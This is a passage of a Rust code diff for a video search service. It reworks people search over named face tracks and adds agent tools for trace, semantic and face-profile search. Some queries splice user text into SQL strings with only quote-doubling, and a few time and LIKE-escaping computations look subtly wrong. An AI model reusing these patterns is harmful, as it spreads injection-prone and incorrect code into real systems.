results.extend(people_results); } // Deduplicate by chunk_id / frame_number / person_id @@ -168,7 +171,7 @@ pub async fn universal_search( results.retain(|r| match r { SearchResult::Chunk { chunk_id, .. } => seen_chunks.insert(chunk_id.clone()), SearchResult::Frame { frame_number, .. } => seen_frames.insert(*frame_number), - SearchResult::Person { identity_id, .. } => seen_persons.insert(*identity_id), + SearchResult::Person { trace_id, .. } => seen_persons.insert(*trace_id), }); } @@ -236,11 +239,11 @@ pub async fn search_frames( })) } -/// Search persons by name or speaker_id -pub async fn search_persons( +/// Search people by name from trace_profiles (named face tracks) +pub async fn search_people( State(_state): State, - Query(query): Query, -) -> Result, (StatusCode, Json)> { + Query(query): Query, +) -> Result, (StatusCode, Json)> { let db = PostgresDb::init().await.map_err(|e| { ( StatusCode::INTERNAL_SERVER_ERROR, @@ -249,7 +252,7 @@ pub async fn search_persons( })?; let limit = query.limit.unwrap_or(20); - let persons = search_persons_by_query( + let people = search_people_by_query( &db, &query.file_uuid, &query.query, @@ -264,10 +267,10 @@ pub async fn search_persons( ) })?; - let persons_count = persons.len(); - Ok(Json(PersonSearchResponse { - persons, - total: persons_count, + let total = people.len(); + Ok(Json(PeopleSearchResponse { + people, + total, })) } @@ -301,27 +304,34 @@ pub struct FrameResult { } #[derive(Debug, Deserialize)] -pub struct PersonSearchQuery { - pub file_uuid: String, +pub struct PeopleSearchQuery { + pub file_uuid: Option, pub query: Option, pub min_appearances: Option, pub limit: Option, } #[derive(Debug, Serialize)] -pub struct PersonSearchResponse { - pub persons: Vec, +pub struct PeopleSearchResponse { + pub people: Vec, pub total: usize, } #[derive(Debug, Serialize)] -pub struct PersonResult { - pub identity_id: i32, - pub identity_uuid: String, +pub struct PeopleResult { + pub file_uuid: String, + pub file_name: String, + pub trace_id: i32, + pub external_id: Option, pub name: Option, - pub appearance_count: i32, - pub first_appearance_time: Option, - pub last_appearance_time: Option, + pub start_frame: Option, + pub end_frame: Option, + pub frame_count: Option, + pub start_time: Option, + pub end_time: Option, + pub key_frame: Option, + pub key_face: Option, + pub avg_confidence: Option, } async fn search_chunks( @@ -590,162 +600,65 @@ async fn search_persons_internal( db: &PostgresDb, req: &UniversalSearchRequest, ) -> Result, anyhow::Error> { - let id_table = schema::table_name("identities"); + let tp_table = schema::table_name("trace_profiles"); + let nodes_table = schema::table_name("tkg_nodes"); - // Query matching identities from PostgreSQL - let mut id_sql = format!( - "SELECT id, uuid::text, name FROM {} WHERE name IS NOT NULL", - id_table + let mut sql = format!( + "SELECT tp.file_uuid, tp.trace_id, tp.name, \ + tp.start_frame, tp.end_frame, tp.frame_count, \ + tp.key_frame, tp.key_face, tp.avg_confidence, \ + n.external_id \ + FROM {} tp \ + LEFT JOIN {} n ON n.file_uuid = tp.file_uuid \ + AND n.node_type = 'face_track' \ + AND REPLACE(n.external_id, 'trace_', '')::int = tp.trace_id \ + WHERE tp.name IS NOT NULL AND tp.name != ''", + tp_table, nodes_table ); if !req.query.is_empty() { let q = req.query.replace('\'', "''"); - id_sql.push_str(&format!(" AND name ILIKE '%{}%'", q)); + sql.push_str(&format!( + " AND (tp.name ILIKE '%{0}%' \ + OR tp.vlm_description ILIKE '%{0}%' \ + OR tp.vlm_clothing ILIKE '%{0}%' \ + OR EXISTS (SELECT 1 FROM unnest(tp.vlm_tags) tag WHERE tag ILIKE '%{0}%') \ + OR tp.vlm_location ILIKE '%{0}%' \ + OR tp.vlm_setting ILIKE '%{0}%')", + q + )); } - id_sql.push_str(" ORDER BY name ASC"); - - let identities: Vec<(i32, String, Option)> = - sqlx::query_as(&id_sql).fetch_all(db.pool()).await?; - - if identities.is_empty() { - return Ok(Vec::new()); + if let Some(ref fuuid) = req.file_uuid { + let safe = fuuid.replace('\'', "''"); + sql.push_str(&format!(" AND tp.file_uuid = '{}'", safe)); } + sql.push_str(&format!(" ORDER BY tp.frame_count DESC NULLS LAST LIMIT {}", req.page_size.unwrap_or(20))); - // For each identity, scroll _faces points from Qdrant and aggregate per file - let qdrant = QdrantDb::new(); - let limit = req.page_size.unwrap_or(20); + let rows: Vec<(String, i32, Option, Option, Option, Option, + Option, Option, Option, Option)> = + sqlx::query_as(&sql).fetch_all(db.pool()).await?; - // Aggregate frame ranges per (identity_id, file_uuid) - use std::collections::HashMap; - let mut agg: HashMap<(i32, String), (i64, i64, i64)> = HashMap::new(); // (id, fu) -> (count, min_frame, max_frame) - - for (id, _uuid, _name) in &identities { - let scroll_filter = serde_json::json!({ - "must": [ - {"key": "identity_id", "match": {"value": id}} - ] - }); - - let points = match qdrant - .scroll_all_points("_faces", scroll_filter, 1000) - .await - { - Ok(p) => p, - Err(e) => { - tracing::warn!("Qdrant scroll failed for identity {}: {}", id, e); - continue; - } - }; - - for point in &points { - let payload = &point["payload"]; - let file_uuid = match payload["file_uuid"].as_str() { - Some(f) => f.to_string(), - None => continue, - }; - - // Apply file_uuid filter if specified - if let Some(ref filter_fu) = req.file_uuid { - if &file_uuid != filter_fu { - continue; - } - } - - let frame = payload["frame"].as_i64().unwrap_or(0); - let entry = agg - .entry((*id, file_uuid)) - .or_insert((0, i64::MAX, i64::MIN)); - entry.0 += 1; - if frame < entry.1 { - entry.1 = frame; - } - if frame > entry.2 { - entry.2 = frame; - } - } - } - - // Cache FPS per file_uuid for frame→second conversion - use std::collections::HashSet; - let file_uuids: HashSet<&str> = agg.keys().map(|(_, fu)| fu.as_str()).collect(); - let video_table = crate::core::db::schema::table_name("videos"); - let mut fps_cache: HashMap = HashMap::new(); - for fu in file_uuids { - let fps: f64 = sqlx::query_scalar(&format!( - "SELECT COALESCE(fps, 30.0) FROM {} WHERE file_uuid = $1", - video_table - )) - .bind(fu) - .fetch_optional(db.pool()) - .await? - .unwrap_or(30.0); - fps_cache.insert(fu.to_string(), fps); - } - - // Build results let q_lower = req.query.to_lowercase(); - let mut results: Vec = identities - .iter() - .flat_map(|(id, uuid, name)| { - let name_str = name.as_deref().unwrap_or(""); - let name_match = !req.query.is_empty() && name_str.to_lowercase().contains(&q_lower); - let score = if name_match { 0.95 } else { 0.5 }; - // Yield entries for this identity's files - let files: Vec = agg - .keys() - .filter(|(iid, _)| iid == id) - .map(|(_, fu)| fu.clone()) - .collect(); - if files.is_empty() { - vec![] - } else { - files - .into_iter() - .map(|fu| { - let (count, min_fr, max_fr) = agg[&(*id, fu.clone())]; - let fps = fps_cache.get(&fu).copied().unwrap_or(30.0); - let first = if min_fr == i64::MAX { - None - } else { - Some(min_fr as f64 / fps) - }; - let last = if max_fr == i64::MIN { - None - } else { - Some(max_fr as f64 / fps) - }; - SearchResult::Person { - file_uuid: Some(fu), - identity_id: *id, - identity_uuid: uuid.clone(), - name: name.clone(), - appearance_count: count as i32, - score, - first_appearance_time: first, - last_appearance_time: last, - } - }) - .collect::>() - } - }) - .collect(); + let mut results: Vec = Vec::new(); + for (fuuid, trace_id, name, start_frame, end_frame, frame_count, + key_frame, key_face, avg_confidence, external_id) in rows + { + let name_match = !req.query.is_empty() + && name.as_deref().map(|n| n.to_lowercase().contains(&q_lower)).unwrap_or(false); + let score = if name_match { 0.95 } else { 0.5 }; - // Sort by appearance_count descending, then limit - results.sort_by(|a, b| { - let a_count = match a { - SearchResult::Person { - appearance_count, .. - } => *appearance_count, - _ => 0, - }; - let b_count = match b { - SearchResult::Person { - appearance_count, .. - } => *appearance_count, - _ => 0, - }; - b_count.cmp(&a_count) - }); - results.truncate(limit); + results.push(SearchResult::Person { + file_uuid: Some(fuuid), + trace_id, + external_id: external_id.unwrap_or_else(|| format!("trace_{}", trace_id)), + name, + frame_count, + score, + start_time: None, + end_time: None, + key_frame, + key_face, + }); + } Ok(results) } @@ -831,114 +744,71 @@ async fn search_frames_internal_v2( Ok(results) } -async fn search_persons_by_query( +async fn search_people_by_query( db: &PostgresDb, - file_uuid: &str, + file_uuid: &Option, query: &Option, - min_appearances: Option, + _min_appearances: Option, limit: usize, -) -> Result, anyhow::Error> { - let id_table = schema::table_name("identities"); +) -> Result, anyhow::Error> { + let tp_table = schema::table_name("trace_profiles"); + let nodes_table = schema::table_name("tkg_nodes"); - // Query matching identities from PostgreSQL - let mut id_sql = format!( - "SELECT id, uuid::text, name FROM {} WHERE name IS NOT NULL", - id_table + let mut sql = format!( + "SELECT tp.file_uuid, tp.trace_id, tp.name, \ + tp.start_frame, tp.end_frame, tp.frame_count, \ + tp.key_frame, tp.key_face, tp.avg_confidence, \ + n.external_id \ + FROM {} tp \ + LEFT JOIN {} n ON n.file_uuid = tp.file_uuid \ + AND n.node_type = 'face_track' \ + AND REPLACE(n.external_id, 'trace_', '')::int = tp.trace_id \ + WHERE tp.name IS NOT NULL AND tp.name != ''", + tp_table, nodes_table ); if let Some(q) = query { let safe = q.replace('\'', "''"); - id_sql.push_str(&format!(" AND name ILIKE '%{}%'", safe)); + sql.push_str(&format!( + " AND (tp.name ILIKE '%{0}%' \ + OR tp.vlm_description ILIKE '%{0}%' \ + OR tp.vlm_clothing ILIKE '%{0}%' \ + OR EXISTS (SELECT 1 FROM unnest(tp.vlm_tags) tag WHERE tag ILIKE '%{0}%') \ + OR tp.vlm_location ILIKE '%{0}%' \ + OR tp.vlm_setting ILIKE '%{0}%')", + safe + )); } - id_sql.push_str(" ORDER BY name ASC"); - - let identities: Vec<(i32, String, Option)> = - sqlx::query_as(&id_sql).fetch_all(db.pool()).await?; - - if identities.is_empty() { - return Ok(Vec::new()); + if let Some(fuuid) = file_uuid { + let safe = fuuid.replace('\'', "''"); + sql.push_str(&format!(" AND tp.file_uuid = '{}'", safe)); } + sql.push_str(&format!(" ORDER BY tp.frame_count DESC NULLS LAST LIMIT {}", limit)); - // For each identity, scroll _faces points from Qdrant and aggregate - let qdrant = QdrantDb::new(); - let mut results: Vec = Vec::new(); + let rows: Vec<(String, i32, Option, Option, Option, Option, + Option, Option, Option, Option)> = + sqlx::query_as(&sql).fetch_all(db.pool()).await?; - for (id, uuid, name) in &identities { - let scroll_filter = serde_json::json!({ - "must": [ - {"key": "identity_id", "match": {"value": id}}, - {"key": "file_uuid", "match": {"value": file_uuid}} - ] - }); - - let points = match qdrant - .scroll_all_points("_faces", scroll_filter, 1000) - .await - { - Ok(p) => p, - Err(e) => { - tracing::warn!("Qdrant scroll failed for identity {}: {}", id, e); - continue; - } - }; - - if points.is_empty() { - continue; - } - - let count = points.len() as i64; - if let Some(min) = min_appearances { - if (count as i32) < min { - continue; - } - } - - let min_frame = points - .iter() - .filter_map(|p| p["payload"]["frame"].as_i64()) - .min() - .unwrap_or(0); - let max_frame = points - .iter() - .filter_map(|p| p["payload"]["frame"].as_i64()) - .max() - .unwrap_or(0); - - // Look up FPS for this file - let video_table = crate::core::db::schema::table_name("videos"); - let fps: f64 = sqlx::query_scalar(&format!( - "SELECT COALESCE(fps, 30.0) FROM {} WHERE file_uuid = $1", - video_table - )) - .bind(file_uuid) - .fetch_optional(db.pool()) - .await? - .unwrap_or(30.0); - - let first_time = if fps > 0.0 { - Some(min_frame as f64 / fps) - } else { - None - }; - let last_time = if fps > 0.0 { - Some(max_frame as f64 / fps) - } else { - None - }; - - results.push(PersonResult { - identity_id: *id, - identity_uuid: uuid.clone(), - name: name.clone(), - appearance_count: count as i32, - first_appearance_time: first_time, - last_appearance_time: last_time, + let mut results: Vec = Vec::new(); + for (fuuid, trace_id, name, start_frame, end_frame, frame_count, + key_frame, key_face, avg_confidence, external_id) in rows + { + results.push(PeopleResult { + file_uuid: fuuid, + file_name: String::new(), + trace_id, + external_id, + name, + start_frame, + end_frame, + frame_count, + start_time: None, + end_time: None, + key_frame, + key_face, + avg_confidence, }); } - // Sort by appearance_count descending, then limit - results.sort_by(|a, b| b.appearance_count.cmp(&a.appearance_count)); - results.truncate(limit); - Ok(results) } diff --git a/src/cli/agent.rs b/src/cli/agent.rs index f29c402..25033ca 100644 --- a/src/cli/agent.rs +++ b/src/cli/agent.rs @@ -25,11 +25,12 @@ pub async fn handle_agent(tool: &str, args_str: &str) -> Result<()> { "get_file_info" => tools::exec_get_file_info(pool, &args).await, "get_representative_frame" => tools::exec_get_representative_frame(pool, &args).await, "analyze_frame" => tools::exec_analyze_frame(pool, &args).await, + "vlm_describe" => tools::exec_vlm_describe(pool, &args).await, _ => anyhow::bail!( "Unknown tool: {}. Available tools: find_file, list_files, tkg_query, \ tkg_nodes_query, tkg_edges_query, tkg_node_detail, smart_search, \ identity_text, identities_search, get_identity_detail, get_file_info, \ - get_representative_frame, analyze_frame", + get_representative_frame, analyze_frame, vlm_describe", tool ), }; diff --git a/src/core/agent/tools.rs b/src/core/agent/tools.rs index af86d91..7666a18 100644 --- a/src/core/agent/tools.rs +++ b/src/core/agent/tools.rs @@ -4,6 +4,7 @@ use std::time::Duration; use crate::core::db::qdrant_db::QdrantDb; use crate::core::db::schema; +use crate::core::embedding::Embedder; use crate::core::llm::function_calling::call_llm_vision; use crate::core::processor::tkg::query_auto_representative_frame; @@ -54,7 +55,12 @@ pub async fn exec_find_file( let mut files = Vec::new(); for (u, n) in rows { let has_data = has_faces_in_qdrant(&u).await; - files.push(serde_json::json!({"file_uuid": u, "file_name": n, "has_data": has_data})); + files.push(serde_json::json!({ + "card_type": "file", + "file_uuid": u, + "file_name": n, + "has_data": has_data + })); } Ok(serde_json::json!({"found": true, "files": files}).to_string()) } @@ -551,104 +557,117 @@ pub async fn exec_smart_search( args: &serde_json::Value, ) -> Result { let query = args.get("query").and_then(|v| v.as_str()).unwrap_or(""); - let file_uuid = args.get("file_uuid").and_then(|v| v.as_str()); - let limit = args.get("limit").and_then(|v| v.as_i64()).unwrap_or(5); + let file_uuid = args + .get("file_uuid") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty() && *s != "" && *s != "null"); + let limit = args.get("limit").and_then(|v| v.as_i64()).unwrap_or(5) as i64; + + tracing::info!("[smart_search] query='{}', file_uuid={:?}, limit={}", query, file_uuid, limit); let chunk_table = schema::table_name("chunk"); + let videos = schema::table_name("videos"); let mut sql = format!( - "SELECT chunk_id, text_content, start_frame, end_frame, chunk_type, content \ - FROM {} WHERE text_content ILIKE $1", - chunk_table + "SELECT c.chunk_id, c.text_content, c.start_frame, c.end_frame, c.chunk_type, c.content, \ + c.file_uuid, v.file_name, COALESCE(v.fps, 25.0) as fps \ + FROM {} c \ + LEFT JOIN {} v ON v.file_uuid = c.file_uuid \ + WHERE c.text_content ILIKE $1", + chunk_table, videos ); if file_uuid.is_some() { - sql.push_str(" AND file_uuid = $2"); + sql.push_str(" AND c.file_uuid = $2"); } - sql.push_str(&format!(" ORDER BY start_frame LIMIT {}", limit)); + sql.push_str(&format!(" ORDER BY c.start_frame LIMIT {}", limit)); - if let Some(fuid) = file_uuid { - let like = format!("%{}%", query); - let rows: Vec<(String, Option, i64, i64, String, Option)> = sqlx::query_as(&sql) + let like = format!("%{}%", query); + tracing::info!("[smart_search] SQL: {}, like: {}", sql, like); + + let rows: Vec<( + String, + Option, + i64, + i64, + String, + Option, + String, + String, + f64, + )> = if let Some(fuid) = file_uuid { + sqlx::query_as(&sql) .bind(&like) .bind(fuid) .fetch_all(pool) .await - .map_err(|e| e.to_string())?; - - let results: Vec> = rows.into_iter().map(|(chunk_id, text_content, start_frame, end_frame, chunk_type, content)| { - let source_prefix = if let Some(ref content) = content { - let text = content.get("text").and_then(|t| t.as_str()).unwrap_or(""); - let ocr_text = content.get("ocr_text").and_then(|t| t.as_str()).unwrap_or(""); - - let has_asrx = !text.trim().is_empty(); - let has_ocr = !ocr_text.trim().is_empty(); - - if has_asrx && has_ocr { - "[ASRX+OCR] " - } else if has_asrx { - "[ASRX] " - } else if has_ocr { - "[OCR] " - } else { - "" - } - } else { - "" - }; - - let prefixed_text = text_content.map(|t| format!("{}{}", source_prefix, t)); - - vec![ - serde_json::json!(chunk_id), - serde_json::json!(prefixed_text), - serde_json::json!(start_frame), - serde_json::json!(end_frame), - serde_json::json!(chunk_type), - ] - }).collect(); - - Ok(serde_json::json!({"results": results}).to_string()) + .map_err(|e| { + tracing::error!("[smart_search] Query failed: {}", e); + e.to_string() + })? } else { - let like = format!("%{}%", query); - let rows: Vec<(String, Option, i64, i64, String, Option)> = sqlx::query_as(&sql) + sqlx::query_as(&sql) .bind(&like) .fetch_all(pool) .await - .map_err(|e| e.to_string())?; - - let results: Vec> = rows.into_iter().map(|(chunk_id, text_content, start_frame, end_frame, chunk_type, content)| { - let source_prefix = if let Some(ref content) = content { - let text = content.get("text").and_then(|t| t.as_str()).unwrap_or(""); - let ocr_text = content.get("ocr_text").and_then(|t| t.as_str()).unwrap_or(""); - - let has_asrx = !text.trim().is_empty(); - let has_ocr = !ocr_text.trim().is_empty(); - - if has_asrx && has_ocr { - "[ASRX+OCR] " - } else if has_asrx { - "[ASRX] " - } else if has_ocr { - "[OCR] " + .map_err(|e| { + tracing::error!("[smart_search] Query failed: {}", e); + e.to_string() + })? + }; + + tracing::info!("[smart_search] Found {} rows", rows.len()); + + let cards: Vec = rows + .into_iter() + .map( + |(chunk_id, text_content, start_frame, end_frame, chunk_type, content, fuuid, file_name, fps)| { + let source = if let Some(ref c) = content { + let text = c.get("text").and_then(|t| t.as_str()).unwrap_or(""); + let ocr_text = c.get("ocr_text").and_then(|t| t.as_str()).unwrap_or(""); + if !text.trim().is_empty() && !ocr_text.trim().is_empty() { + "asrx+ocr" + } else if !text.trim().is_empty() { + "asrx" + } else if !ocr_text.trim().is_empty() { + "ocr" + } else { + "unknown" + } } else { - "" - } - } else { - "" - }; - - let prefixed_text = text_content.map(|t| format!("{}{}", source_prefix, t)); - - vec![ - serde_json::json!(chunk_id), - serde_json::json!(prefixed_text), - serde_json::json!(start_frame), - serde_json::json!(end_frame), - serde_json::json!(chunk_type), - ] - }).collect(); - - Ok(serde_json::json!({"results": results}).to_string()) - } + "unknown" + }; + + let text_preview = text_content + .as_ref() + .map(|t| t.chars().take(150).collect::()) + .unwrap_or_default(); + + let start_time = if fps > 0.0 { start_frame as f64 / fps } else { 0.0 }; + let end_time = if fps > 0.0 { end_frame as f64 / fps } else { 0.0 }; + + serde_json::json!({ + "card_type": "chunk", + "file_uuid": fuuid, + "chunk_id": chunk_id, + "chunk_type": chunk_type, + "file_name": file_name, + "start_time": start_time, + "end_time": end_time, + "start_frame": start_frame, + "end_frame": end_frame, + "score": 1.0, + "text_preview": text_preview, + "source": source + }) + }, + ) + .collect(); + + Ok(serde_json::json!({ + "tool": "smart_search", + "query": query, + "count": cards.len(), + "cards": cards + }).to_string()) } pub async fn exec_identity_text( @@ -1268,14 +1287,16 @@ pub async fn exec_vlm_describe( return Ok(serde_json::json!({"error": "file_uuid is required"}).to_string()); } if trace_id <= 0 { - return Ok(serde_json::json!({"error": "trace_id is required and must be > 0"}).to_string()); + return Ok( + serde_json::json!({"error": "trace_id is required and must be > 0"}).to_string(), + ); } let crop_path = face_crop_path(file_uuid, trace_id) .ok_or_else(|| format!("No face crop found for {} trace {}", file_uuid, trace_id))?; - let jpeg_bytes = std::fs::read(&crop_path) - .map_err(|e| format!("Failed to read face crop: {}", e))?; + let jpeg_bytes = + std::fs::read(&crop_path).map_err(|e| format!("Failed to read face crop: {}", e))?; let videos = schema::table_name("videos"); let fps: f64 = sqlx::query_scalar(&format!( @@ -1297,8 +1318,8 @@ pub async fn exec_vlm_describe( let base64_img = BASE64.encode(&jpeg_bytes); - let ollama_url = std::env::var("OLLAMA_URL") - .unwrap_or_else(|_| "http://localhost:11434".to_string()); + let ollama_url = + std::env::var("OLLAMA_URL").unwrap_or_else(|_| "http://localhost:11434".to_string()); let model = std::env::var("VLM_MODEL").unwrap_or_else(|_| "llava".to_string()); let body = serde_json::json!({ @@ -1346,3 +1367,331 @@ pub async fn exec_vlm_describe( }) .to_string()) } + +/// Search trace profiles by VLM fields (description, clothing, tags, location, setting, name) +/// Returns top N matching traces as cards with file_uuid, trace_id, name, frame_range, VLM data +pub async fn exec_trace_search( + pool: &sqlx::PgPool, + args: &serde_json::Value, +) -> Result { + let query = args.get("query").and_then(|v| v.as_str()).unwrap_or(""); + let file_uuid = args.get("file_uuid").and_then(|v| v.as_str()); + let limit = args + .get("limit") + .and_then(|v| v.as_i64()) + .unwrap_or(10) + .min(50) as i32; + + if query.is_empty() { + return Err("query is required".to_string()); + } + + let table = schema::table_name("trace_profiles"); + let videos = schema::table_name("videos"); + let like_q = format!("%{}%", query.to_lowercase().replace('%', "%%")); + + let sql = format!( + "SELECT tp.file_uuid, tp.trace_id, tp.name, tp.start_frame, tp.end_frame, \ + tp.frame_count, tp.key_frame, tp.status, tp.avg_confidence, \ + tp.vlm_description, tp.vlm_clothing, tp.vlm_tags, tp.vlm_location, \ + tp.vlm_setting, tp.vlm_lighting, COALESCE(v.file_name, ''), COALESCE(v.fps, 25.0) \ + FROM {} tp \ + LEFT JOIN {} v ON v.file_uuid = tp.file_uuid \ + WHERE ($1::text IS NULL OR tp.file_uuid = $1) \ + AND (LOWER(tp.name) LIKE $2 \ + OR LOWER(tp.vlm_description) LIKE $2 \ + OR LOWER(tp.vlm_clothing) LIKE $2 \ + OR EXISTS (SELECT 1 FROM unnest(tp.vlm_tags) tag WHERE LOWER(tag) LIKE $2) \ + OR LOWER(tp.vlm_location) LIKE $2 \ + OR LOWER(tp.vlm_setting) LIKE $2 \ + OR LOWER(tp.vlm_background) LIKE $2) \ + ORDER BY tp.frame_count DESC \ + LIMIT $3", + table, videos + ); + + let rows = sqlx::query(&sql) + .bind(file_uuid) + .bind(&like_q) + .bind(limit) + .fetch_all(pool) + .await + .map_err(|e| format!("DB query failed: {}", e))?; + + let cards: Vec = rows + .iter() + .map(|row| { + use sqlx::Row; + let file_uuid: String = row.get(0); + let trace_id: i32 = row.get(1); + let name: Option = row.get(2); + let start_frame: Option = row.get(3); + let end_frame: Option = row.get(4); + let frame_count: Option = row.get(5); + let key_frame: Option = row.get(6); + let status: Option = row.get(7); + let avg_confidence: Option = row.get(8); + let vlm_description: Option = row.get(9); + let vlm_clothing: Option = row.get(10); + let vlm_tags: Option> = row.get(11); + let vlm_location: Option = row.get(12); + let vlm_setting: Option = row.get(13); + let vlm_lighting: Option = row.get(14); + let file_name: String = row.get(15); + let fps: f64 = row.get(16); + + let start_time = start_frame.map(|f| (f as f64 / fps).round() / 100.0); + let end_time = end_frame.map(|f| (f as f64 / fps).round() / 100.0); + + serde_json::json!({ + "card_type": "face", + "file_uuid": file_uuid, + "trace_id": trace_id, + "name": name, + "file_name": file_name, + "start_frame": start_frame, + "end_frame": end_frame, + "start_time": start_time, + "end_time": end_time, + "frame_count": frame_count, + "key_frame": key_frame, + "status": status, + "avg_confidence": avg_confidence, + "vlm_description": vlm_description, + "vlm_clothing": vlm_clothing, + "vlm_tags": vlm_tags, + "vlm_location": vlm_location, + "vlm_setting": vlm_setting, + "vlm_lighting": vlm_lighting + }) + }) + .collect(); + + Ok( + serde_json::json!({ + "tool": "trace_search", + "query": query, + "count": cards.len(), + "cards": cards + }) + .to_string(), + ) +} + +/// Semantic search using embedding + Qdrant +/// Returns top N chunk results with video segment info +pub async fn exec_semantic_search( + pool: &sqlx::PgPool, + args: &serde_json::Value, +) -> Result { + let query = args.get("query").and_then(|v| v.as_str()).unwrap_or(""); + let file_uuid = args + .get("file_uuid") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty() && *s != "" && *s != "null"); + let limit = args + .get("limit") + .and_then(|v| v.as_i64()) + .unwrap_or(10) + .min(50) as usize; + + tracing::info!("[exec_semantic_search] query='{}', file_uuid={:?}, limit={}", query, file_uuid, limit); + + if query.is_empty() { + return Err("query is required".to_string()); + } + + // Generate embedding + let embedder = Embedder::new("embeddinggemma-300m".to_string()); + let embedding = embedder + .embed_query(query) + .await + .map_err(|e| { + tracing::error!("[exec_semantic_search] Embedding failed: {}", e); + format!("Embedding failed: {}", e) + })?; + + tracing::info!("[exec_semantic_search] Embedding generated, dim={}", embedding.len()); + + // Search Qdrant + let qdrant = QdrantDb::new(); + let search_results = if let Some(fuuid) = file_uuid { + tracing::info!("[exec_semantic_search] Searching in uuid: {}", fuuid); + qdrant + .search_in_uuid(&embedding, fuuid, limit) + .await + .map_err(|e| { + tracing::error!("[exec_semantic_search] Qdrant search_in_uuid failed: {}", e); + format!("Qdrant search failed: {}", e) + })? + } else { + tracing::info!("[exec_semantic_search] Searching all collections"); + qdrant + .search(&embedding, limit) + .await + .map_err(|e| { + tracing::error!("[exec_semantic_search] Qdrant search failed: {}", e); + format!("Qdrant search failed: {}", e) + })? + }; + + tracing::info!("[exec_semantic_search] Qdrant returned {} hits", search_results.len()); + + // Enrich from PostgreSQL + let chunk_table = schema::table_name("chunk"); + let videos = schema::table_name("videos"); + + let mut cards = Vec::new(); + for hit in search_results.iter() { + let row: Option<( + String, + String, + f64, + f64, + f64, + Option, + String, + )> = sqlx::query_as(&format!( + "SELECT c.chunk_id, c.chunk_type, c.start_time, c.end_time, c.fps, \ + c.text_content, v.file_name \ + FROM {} c \ + JOIN {} v ON v.file_uuid = c.file_uuid \ + WHERE c.file_uuid = $1 AND c.chunk_id = $2", + chunk_table, videos + )) + .bind(&hit.uuid) + .bind(&hit.chunk_id) + .fetch_optional(pool) + .await + .map_err(|e| format!("PG query failed: {}", e))?; + + if let Some((chunk_id, chunk_type, start_time, end_time, fps, text_content, file_name)) = row { + let start_frame = (start_time * fps) as i64; + let end_frame = (end_time * fps) as i64; + let text_preview = text_content + .as_ref() + .map(|t| t.chars().take(150).collect::()) + .unwrap_or_default(); + + cards.push(serde_json::json!({ + "card_type": "chunk", + "file_uuid": hit.uuid, + "chunk_id": chunk_id, + "chunk_type": chunk_type, + "file_name": file_name, + "start_time": start_time, + "end_time": end_time, + "start_frame": start_frame, + "end_frame": end_frame, + "score": hit.score, + "text_preview": text_preview, + "source": chunk_type + })); + } + } + + Ok( + serde_json::json!({ + "tool": "semantic_search", + "query": query, + "count": cards.len(), + "cards": cards + }) + .to_string(), + ) +} + +/// Search named face profiles by name — finds face_track TKG nodes whose label +/// matches the given name, joined with trace_profiles for frame/key-image info. +/// Returns cards with key_frame, key_face, frame_range, and time_range. +pub async fn exec_face_profile_search( + pool: &sqlx::PgPool, + args: &serde_json::Value, +) -> Result { + let name = args.get("name").and_then(|v| v.as_str()).unwrap_or(""); + let file_uuid = args.get("file_uuid").and_then(|v| v.as_str()); + let limit = args + .get("limit") + .and_then(|v| v.as_i64()) + .unwrap_or(10) + .min(50) as i32; + + if name.is_empty() { + return Err("name is required".to_string()); + } + + let tp_table = schema::table_name("trace_profiles"); + let nodes_table = schema::table_name("tkg_nodes"); + let like_q = format!("%{}%", name.replace('%', "%%")); + + let sql = format!( + "SELECT tp.file_uuid, tp.trace_id, tp.name, \ + tp.start_frame, tp.end_frame, tp.frame_count, \ + tp.key_frame, tp.key_face, tp.avg_confidence, \ + n.external_id \ + FROM {} tp \ + LEFT JOIN {} n ON n.file_uuid = tp.file_uuid \ + AND n.node_type = 'face_track' \ + AND REPLACE(n.external_id, 'trace_', '')::int = tp.trace_id \ + WHERE tp.name IS NOT NULL AND tp.name != '' \ + AND (tp.name ILIKE $1 \ + OR tp.vlm_description ILIKE $1 \ + OR tp.vlm_clothing ILIKE $1 \ + OR EXISTS (SELECT 1 FROM unnest(tp.vlm_tags) tag WHERE tag ILIKE $1) \ + OR tp.vlm_location ILIKE $1 \ + OR tp.vlm_setting ILIKE $1) \ + AND ($2::text IS NULL OR tp.file_uuid = $2) \ + ORDER BY tp.frame_count DESC NULLS LAST \ + LIMIT $3", + tp_table, nodes_table + ); + + let rows = sqlx::query(&sql) + .bind(&like_q) + .bind(file_uuid) + .bind(limit) + .fetch_all(pool) + .await + .map_err(|e| format!("DB query failed: {}", e))?; + + let cards: Vec = rows + .iter() + .map(|row| { + use sqlx::Row; + let file_uuid: String = row.get(0); + let trace_id: i32 = row.get(1); + let name: Option = row.get(2); + let start_frame: Option = row.get(3); + let end_frame: Option = row.get(4); + let frame_count: Option = row.get(5); + let key_frame: Option = row.get(6); + let key_face: Option = row.get(7); + let avg_confidence: Option = row.get(8); + let external_id: Option = row.get(9); + + serde_json::json!({ + "card_type": "face_profile", + "file_uuid": file_uuid, + "trace_id": trace_id, + "external_id": external_id.unwrap_or_else(|| format!("trace_{}", trace_id)), + "name": name, + "start_frame": start_frame, + "end_frame": end_frame, + "frame_count": frame_count, + "key_frame": key_frame, + "key_face": key_face, + "avg_confidence": avg_confidence + }) + }) + .collect(); + + Ok( + serde_json::json!({ + "tool": "face_profile_search", + "query": name, + "count": cards.len(), + "cards": cards + }) + .to_string(), + ) +} diff --git a/src/core/chunk/types.rs b/src/core/chunk/types.rs index e0c7808..28a7b59 100644 --- a/src/core/chunk/types.rs +++ b/src/core/chunk/types.rs @@ -10,6 +10,7 @@ pub enum ChunkType { Trace, Story, Relationship, + Ocr, } impl ChunkType { @@ -21,6 +22,7 @@ impl ChunkType { ChunkType::Trace => "trace", ChunkType::Story => "story", ChunkType::Relationship => "relationship", + ChunkType::Ocr => "ocr", } } } diff --git a/src/core/db/postgres_db.rs b/src/core/db/postgres_db.rs index ec7802b..e56c62e 100644 --- a/src/core/db/postgres_db.rs +++ b/src/core/db/postgres_db.rs @@ -195,10 +195,16 @@ pub enum VideoStatus { Registered, Pending, Queued, + Scanning, Processing, Processed, Indexed, CheckedOut, + KeywordReady, + SemanticReady, + PeopleReady, + FaceMgmtReady, + AgentReady, Completed, Failed, } @@ -210,10 +216,21 @@ impl VideoStatus { VideoStatus::Registered => "registered", VideoStatus::Pending => "pending", VideoStatus::Queued => "queued", + VideoStatus::Scanning => "scanning", VideoStatus::Processing => "processing", VideoStatus::Processed => "processed", VideoStatus::Indexed => "indexed", VideoStatus::CheckedOut => "checked_out", + VideoStatus::KeywordReady => 